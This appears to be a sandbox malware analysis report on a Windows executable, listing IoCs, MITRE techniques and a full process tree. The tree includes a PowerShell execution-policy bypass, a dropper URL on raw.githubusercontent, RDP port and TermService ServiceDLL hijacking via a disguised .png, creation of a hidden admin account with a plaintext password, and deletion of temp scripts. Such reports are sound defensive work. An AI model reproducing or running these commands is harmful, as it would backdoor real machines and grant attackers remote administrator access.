1ac9d42a596c55757b4f37e6291887149a6070bfedb4e27a86cf3cff4d76f2a2

Analysis

max time kernel
132s
max time network
133s
platform
windows10_x64
resource
win10v20201028
submitted
08-11-2020 17:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1ac9d42a596c55757b4f37e6291887149a6070bfedb4e27a86cf3cff4d76f2a2.exe
Size

3.4MB
MD5

af944f00c218cc525ef7e56f5d634cdf
SHA1

532a7870f610b86ef3c1eb3f10b60a9da6152bcb
SHA256

1ac9d42a596c55757b4f37e6291887149a6070bfedb4e27a86cf3cff4d76f2a2
SHA512

62b68e3651ae7a0222bc3a16442994b9c6d6505965e7b081bac168659b6eb97bbbb0cc5db260e65f4185017de62a5dc16c37347e447467db75ae062022533014

Score

10^/10

persistence upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blacklisted process makes network request 9 IoCs

Processes:

powershell.exe

flow	pid	process
15	1260	powershell.exe
17	1260	powershell.exe
18	1260	powershell.exe
19	1260	powershell.exe
21	1260	powershell.exe
23	1260	powershell.exe
25	1260	powershell.exe
27	1260	powershell.exe
29	1260	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\Windows\Branding\mediasrv.png	upx
\Windows\Branding\mediasvc.png	upx

Deletes itself 1 IoCs

Processes:

powershell.exe

pid process

3892 powershell.exe
Loads dropped DLL 2 IoCs

Processes:

pid process

1056
1056

pid	process
1056
1056

Modifies service 2 TTPs 2 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\parameters	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png"	reg.exe

Drops file in Program Files directory 4 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe

Drops file in Windows directory 19 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_zarfdl2k.zmy.ps1	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_wbszy3ys.lh4.psm1	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI3C7E.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI3C9E.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI3CEE.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI3BE1.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI3CDE.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe

Modifies data under HKEY_USERS 217 IoCs

Processes:

powershell.exeWMIC.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1400 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1200 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\shell = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Icon = "inetcpl.cpl#001313"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\2ba02e083fadee33 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,IE5_UA_Backup_Flag,"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\57fd7ae31ab34c2c = 2c0053004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073005c0035002e0030005c00430061006300680065002c000000	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1400 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1400 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\ef29a4ec885fa451 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c00550073006500720020004100670065006e0074002c000000010054004d006f007a0069006c006c0061002f0035002e0030002000280063006f006d00700061007400690062006c0065003b0020004d00530049004500200039002e0030003b002000570069006e003300320029000000000000000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Flags = "71"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\https = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\CurrentLevel = "0"	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

3932 reg.exe
Runs net.exe

pid	process
3932	reg.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	17	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	18	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	19	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exepowershell.exe

pid	process
3892	powershell.exe
3892	powershell.exe
3892	powershell.exe
3892	powershell.exe
3892	powershell.exe
3892	powershell.exe
1260	powershell.exe
1260	powershell.exe
1260	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

Processes:

pid process

616
616

pid	process
616
616

Suspicious use of AdjustPrivilegeToken 77 IoCs

Processes:

powershell.exe

description	pid	process
Token: SeDebugPrivilege	3892	powershell.exe
Token: SeIncreaseQuotaPrivilege	3892	powershell.exe
Token: SeSecurityPrivilege	3892	powershell.exe
Token: SeTakeOwnershipPrivilege	3892	powershell.exe
Token: SeLoadDriverPrivilege	3892	powershell.exe
Token: SeSystemProfilePrivilege	3892	powershell.exe
Token: SeSystemtimePrivilege	3892	powershell.exe
Token: SeProfSingleProcessPrivilege	3892	powershell.exe
Token: SeIncBasePriorityPrivilege	3892	powershell.exe
Token: SeCreatePagefilePrivilege	3892	powershell.exe
Token: SeBackupPrivilege	3892	powershell.exe
Token: SeRestorePrivilege	3892	powershell.exe
Token: SeShutdownPrivilege	3892	powershell.exe
Token: SeDebugPrivilege	3892	powershell.exe
Token: SeSystemEnvironmentPrivilege	3892	powershell.exe
Token: SeRemoteShutdownPrivilege	3892	powershell.exe
Token: SeUndockPrivilege	3892	powershell.exe
Token: SeManageVolumePrivilege	3892	powershell.exe
Token: 33	3892	powershell.exe
Token: 34	3892	powershell.exe
Token: 35	3892	powershell.exe
Token: 36	3892	powershell.exe
Token: SeIncreaseQuotaPrivilege	3892	powershell.exe
Token: SeSecurityPrivilege	3892	powershell.exe
Token: SeTakeOwnershipPrivilege	3892	powershell.exe
Token: SeLoadDriverPrivilege	3892	powershell.exe
Token: SeSystemProfilePrivilege	3892	powershell.exe
Token: SeSystemtimePrivilege	3892	powershell.exe
Token: SeProfSingleProcessPrivilege	3892	powershell.exe
Token: SeIncBasePriorityPrivilege	3892	powershell.exe
Token: SeCreatePagefilePrivilege	3892	powershell.exe
Token: SeBackupPrivilege	3892	powershell.exe
Token: SeRestorePrivilege	3892	powershell.exe
Token: SeShutdownPrivilege	3892	powershell.exe
Token: SeDebugPrivilege	3892	powershell.exe
Token: SeSystemEnvironmentPrivilege	3892	powershell.exe
Token: SeRemoteShutdownPrivilege	3892	powershell.exe
Token: SeUndockPrivilege	3892	powershell.exe
Token: SeManageVolumePrivilege	3892	powershell.exe
Token: 33	3892	powershell.exe
Token: 34	3892	powershell.exe
Token: 35	3892	powershell.exe
Token: 36	3892	powershell.exe
Token: SeIncreaseQuotaPrivilege	3892	powershell.exe
Token: SeSecurityPrivilege	3892	powershell.exe
Token: SeTakeOwnershipPrivilege	3892	powershell.exe
Token: SeLoadDriverPrivilege	3892	powershell.exe
Token: SeSystemProfilePrivilege	3892	powershell.exe
Token: SeSystemtimePrivilege	3892	powershell.exe
Token: SeProfSingleProcessPrivilege	3892	powershell.exe
Token: SeIncBasePriorityPrivilege	3892	powershell.exe
Token: SeCreatePagefilePrivilege	3892	powershell.exe
Token: SeBackupPrivilege	3892	powershell.exe
Token: SeRestorePrivilege	3892	powershell.exe
Token: SeShutdownPrivilege	3892	powershell.exe
Token: SeDebugPrivilege	3892	powershell.exe
Token: SeSystemEnvironmentPrivilege	3892	powershell.exe
Token: SeRemoteShutdownPrivilege	3892	powershell.exe
Token: SeUndockPrivilege	3892	powershell.exe
Token: SeManageVolumePrivilege	3892	powershell.exe
Token: 33	3892	powershell.exe
Token: 34	3892	powershell.exe
Token: 35	3892	powershell.exe
Token: 36	3892	powershell.exe

Suspicious use of WriteProcessMemory 68 IoCs

Processes:

1ac9d42a596c55757b4f37e6291887149a6070bfedb4e27a86cf3cff4d76f2a2.exepowershell.execsc.exenet.execmd.execmd.exenet.execmd.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exenet.execmd.execmd.exe

description	pid	process	target process
PID 1400 wrote to memory of 3892	1400	1ac9d42a596c55757b4f37e6291887149a6070bfedb4e27a86cf3cff4d76f2a2.exe	powershell.exe
PID 1400 wrote to memory of 3892	1400	1ac9d42a596c55757b4f37e6291887149a6070bfedb4e27a86cf3cff4d76f2a2.exe	powershell.exe
PID 3892 wrote to memory of 744	3892	powershell.exe	csc.exe
PID 3892 wrote to memory of 744	3892	powershell.exe	csc.exe
PID 744 wrote to memory of 2228	744	csc.exe	cvtres.exe
PID 744 wrote to memory of 2228	744	csc.exe	cvtres.exe
PID 3892 wrote to memory of 188	3892	powershell.exe	reg.exe
PID 3892 wrote to memory of 188	3892	powershell.exe	reg.exe
PID 3892 wrote to memory of 3932	3892	powershell.exe	reg.exe
PID 3892 wrote to memory of 3932	3892	powershell.exe	reg.exe
PID 3892 wrote to memory of 3456	3892	powershell.exe	reg.exe
PID 3892 wrote to memory of 3456	3892	powershell.exe	reg.exe
PID 3892 wrote to memory of 3384	3892	powershell.exe	net.exe
PID 3892 wrote to memory of 3384	3892	powershell.exe	net.exe
PID 3384 wrote to memory of 2932	3384	net.exe	net1.exe
PID 3384 wrote to memory of 2932	3384	net.exe	net1.exe
PID 3892 wrote to memory of 2260	3892	powershell.exe	cmd.exe
PID 3892 wrote to memory of 2260	3892	powershell.exe	cmd.exe
PID 2260 wrote to memory of 2756	2260	cmd.exe	cmd.exe
PID 2260 wrote to memory of 2756	2260	cmd.exe	cmd.exe
PID 2756 wrote to memory of 2228	2756	cmd.exe	net.exe
PID 2756 wrote to memory of 2228	2756	cmd.exe	net.exe
PID 2228 wrote to memory of 744	2228	net.exe	net1.exe
PID 2228 wrote to memory of 744	2228	net.exe	net1.exe
PID 3892 wrote to memory of 2144	3892	powershell.exe	cmd.exe
PID 3892 wrote to memory of 2144	3892	powershell.exe	cmd.exe
PID 2144 wrote to memory of 1908	2144	cmd.exe	cmd.exe
PID 2144 wrote to memory of 1908	2144	cmd.exe	cmd.exe
PID 1908 wrote to memory of 2792	1908	cmd.exe	net.exe
PID 1908 wrote to memory of 2792	1908	cmd.exe	net.exe
PID 2792 wrote to memory of 360	2792	net.exe	net1.exe
PID 2792 wrote to memory of 360	2792	net.exe	net1.exe
PID 3828 wrote to memory of 3852	3828	cmd.exe	net.exe
PID 3828 wrote to memory of 3852	3828	cmd.exe	net.exe
PID 3852 wrote to memory of 68	3852	net.exe	net1.exe
PID 3852 wrote to memory of 68	3852	net.exe	net1.exe
PID 1220 wrote to memory of 2668	1220	cmd.exe	net.exe
PID 1220 wrote to memory of 2668	1220	cmd.exe	net.exe
PID 2668 wrote to memory of 3264	2668	net.exe	net1.exe
PID 2668 wrote to memory of 3264	2668	net.exe	net1.exe
PID 2320 wrote to memory of 3384	2320	cmd.exe	net.exe
PID 2320 wrote to memory of 3384	2320	cmd.exe	net.exe
PID 3384 wrote to memory of 2168	3384	net.exe	net1.exe
PID 3384 wrote to memory of 2168	3384	net.exe	net1.exe
PID 2212 wrote to memory of 1264	2212	cmd.exe	net.exe
PID 2212 wrote to memory of 1264	2212	cmd.exe	net.exe
PID 1264 wrote to memory of 3996	1264	net.exe	net1.exe
PID 1264 wrote to memory of 3996	1264	net.exe	net1.exe
PID 2724 wrote to memory of 2692	2724	cmd.exe	net.exe
PID 2724 wrote to memory of 2692	2724	cmd.exe	net.exe
PID 2692 wrote to memory of 2432	2692	net.exe	net1.exe
PID 2692 wrote to memory of 2432	2692	net.exe	net1.exe
PID 3456 wrote to memory of 3264	3456	cmd.exe	net.exe
PID 3456 wrote to memory of 3264	3456	cmd.exe	net.exe
PID 3264 wrote to memory of 1404	3264	net.exe	net1.exe
PID 3264 wrote to memory of 1404	3264	net.exe	net1.exe
PID 716 wrote to memory of 580	716	cmd.exe	WMIC.exe
PID 716 wrote to memory of 580	716	cmd.exe	WMIC.exe
PID 3892 wrote to memory of 2212	3892	powershell.exe	cmd.exe
PID 3892 wrote to memory of 2212	3892	powershell.exe	cmd.exe
PID 1784 wrote to memory of 3932	1784	cmd.exe	WMIC.exe
PID 1784 wrote to memory of 3932	1784	cmd.exe	WMIC.exe
PID 3892 wrote to memory of 2660	3892	powershell.exe	cmd.exe
PID 3892 wrote to memory of 2660	3892	powershell.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\1ac9d42a596c55757b4f37e6291887149a6070bfedb4e27a86cf3cff4d76f2a2.exe
"C:\Users\Admin\AppData\Local\Temp\1ac9d42a596c55757b4f37e6291887149a6070bfedb4e27a86cf3cff4d76f2a2.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1400

\??\c:\windows\System32\WindowsPowerShell\v1.0\powershell.exe
-ep bypass -f C:\Users\Admin\AppData\Local\Temp\get-points.ps1
2⤵
- Deletes itself
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3892

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\x4qns4nh\x4qns4nh.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:744

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAE08.tmp" "c:\Users\Admin\AppData\Local\Temp\x4qns4nh\CSC2BC06D68D97C49B4A01877BFEAB6C4F7.TMP"
4⤵
PID:2228

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
3⤵
PID:188

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
3⤵
- Modifies service
- Modifies registry key
PID:3932

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
3⤵
PID:3456

C:\Windows\system32\net.exe
"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
3⤵
- Suspicious use of WriteProcessMemory
PID:3384

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
4⤵
PID:2932

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
3⤵
- Suspicious use of WriteProcessMemory
PID:2260

C:\Windows\system32\cmd.exe
cmd /c net start rdpdr
4⤵
- Suspicious use of WriteProcessMemory
PID:2756

C:\Windows\system32\net.exe
net start rdpdr
5⤵
- Suspicious use of WriteProcessMemory
PID:2228

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 start rdpdr
6⤵
PID:744

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
3⤵
- Suspicious use of WriteProcessMemory
PID:2144

C:\Windows\system32\cmd.exe
cmd /c net start TermService
4⤵
- Suspicious use of WriteProcessMemory
PID:1908

C:\Windows\system32\net.exe
net start TermService
5⤵
- Suspicious use of WriteProcessMemory
PID:2792

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 start TermService
6⤵
PID:360

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
3⤵
PID:2212

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
3⤵
PID:2660

C:\Windows\System32\cmd.exe
cmd /C net.exe user updwin Ghasar4f5 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:3828

C:\Windows\system32\net.exe
net.exe user updwin Ghasar4f5 /del
2⤵
- Suspicious use of WriteProcessMemory
PID:3852

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user updwin Ghasar4f5 /del
3⤵
PID:68

C:\Windows\System32\cmd.exe
cmd /C net.exe user updwin qVojyFfh /add
1⤵
- Suspicious use of WriteProcessMemory
PID:1220

C:\Windows\system32\net.exe
net.exe user updwin qVojyFfh /add
2⤵
- Suspicious use of WriteProcessMemory
PID:2668

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user updwin qVojyFfh /add
3⤵
PID:3264

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" updwin /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2320

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Remote Desktop Users" updwin /ADD
2⤵
- Suspicious use of WriteProcessMemory
PID:3384

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" updwin /ADD
3⤵
PID:2168

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" MKLUFVRL$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2212

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Remote Desktop Users" MKLUFVRL$ /ADD
2⤵
- Suspicious use of WriteProcessMemory
PID:1264

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MKLUFVRL$ /ADD
3⤵
PID:3996

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" updwin /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2724

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Administrators" updwin /ADD
2⤵
- Suspicious use of WriteProcessMemory
PID:2692

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 LOCALGROUP "Administrators" updwin /ADD
3⤵
PID:2432

C:\Windows\System32\cmd.exe
cmd /C net.exe user updwin qVojyFfh
1⤵
- Suspicious use of WriteProcessMemory
PID:3456

